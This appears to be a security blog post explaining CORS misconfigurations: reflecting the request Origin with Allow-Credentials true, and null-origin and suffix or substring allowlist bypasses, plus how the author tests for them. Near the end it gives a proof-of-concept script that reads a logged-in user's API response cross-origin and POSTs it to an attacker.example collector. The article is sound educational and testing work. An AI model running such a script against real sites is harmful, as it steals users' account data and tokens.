3 min readCORS · WEB · API-SECURITY

Reflected Origin plus credentials: the CORS combo that hands over the cookie jar

Why reflecting the request Origin together with Allow-Credentials: true defeats the same-origin policy, why null and suffix allowlists fail, and how to prove a cross-origin credentialed read.

attacker page EVIL ORIGIN fetch(credentials: include) CROSS-ORIGIN victim API SETS COOKIES RESPONSE HEADERS ACAO: <reflects origin> ACAC: true reads cookie-jar data ATTACKER JS
Reflected Origin plus Allow-Credentials hands over the cookie jar

Same-origin policy lets your browser send a credentialed request to another origin, but it normally stops the calling page from reading the response. CORS exists to poke holes in that read restriction on purpose. The two headers that control the hole are easy to get subtly wrong, and the wrong version is catastrophic rather than merely loose.

The combination that breaks everything

The browser only exposes a cross-origin response body to the calling script when two conditions hold at once: Access-Control-Allow-Origin names the calling origin, and, if the request carried credentials, Access-Control-Allow-Credentials is true. The lethal pattern is a server that produces the first by reflection:

plaintext
GET /api/me HTTP/1.1
Host: api.example
Origin: https://attacker.example
Cookie: session=...

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Credentials: true
Content-Type: application/json

{"id":4821,"email":"victim@example.com","apiToken":"..."}

The server took whatever Origin it was handed and stamped it into the response as if it were an allowlist entry. With credentials allowed, attacker.example can now fetch('https://api.example/api/me', { credentials: 'include' }), read the JSON, and exfiltrate it. The victim only has to visit the attacker’s page while logged in.

The spec deliberately forbids the lazy “allow anything” shortcut here: Access-Control-Allow-Origin: * cannot be combined with credentials. The browser rejects that pairing. So developers who want their JS to work from multiple origins reach for reflection instead, and reflection plus credentials is exactly the combination the wildcard ban was meant to prevent. They route around the guardrail.

Why null and suffix allowlists fail

Teams that do try to validate the origin tend to fail in three repeatable ways.

The null origin. Some servers special-case Origin: null as trusted, because internal tooling and same-document requests can produce it. But a browser also sends Origin: null from a sandboxed iframe. An attacker embeds the request inside <iframe sandbox="allow-scripts" srcdoc="...">, the browser sends null, the server reflects Access-Control-Allow-Origin: null with credentials, and the read works from a context the attacker fully controls.

Suffix matching. origin.endsWith('example.com') is meant to allow app.example.com but also accepts https://example.com.attacker.net and https://notexample.com. Anchor the match. A real check validates the full origin string against an exact set.

Substring matching. origin.includes('example.com') is even worse, matching https://example.com.attacker.net, https://attacker.example.com.evil.net, and https://example.completelyunrelated.net. Any check built on includes, indexOf, or an unanchored regex is bypassable by registering or sub-domaining a name that contains the trusted string.

How I prove it

I send the target’s authenticated request through a proxy and add an Origin header for a domain I control, keeping the session cookie. Then I read the response headers:

  • Access-Control-Allow-Origin came back as my attacker origin (or null), not a fixed trusted value: reflection confirmed.
  • Access-Control-Allow-Credentials: true is present: the credentialed read is in scope.

I work the allowlist by trying https://attacker.example, then a sub-domain of the target with my own tail (https://target.example.attacker.net), then the null origin via a sandboxed frame. Whichever the server echoes tells me which mistake it made.

The clincher is a hosted page that does the read for real:

html
<script>
  fetch('https://api.example/api/me', { credentials: 'include' })
    .then((r) => r.text())
    .then((body) => fetch('https://attacker.example/log', { method: 'POST', body }));
</script>

When that lands a logged-in user’s own data on my collector, the same-origin read restriction has been defeated end to end, and there is nothing for a triager to take on faith. The durable lesson: Allow-Origin is an allowlist, not an echo, and the moment credentials enter the picture there is no safe way to reflect.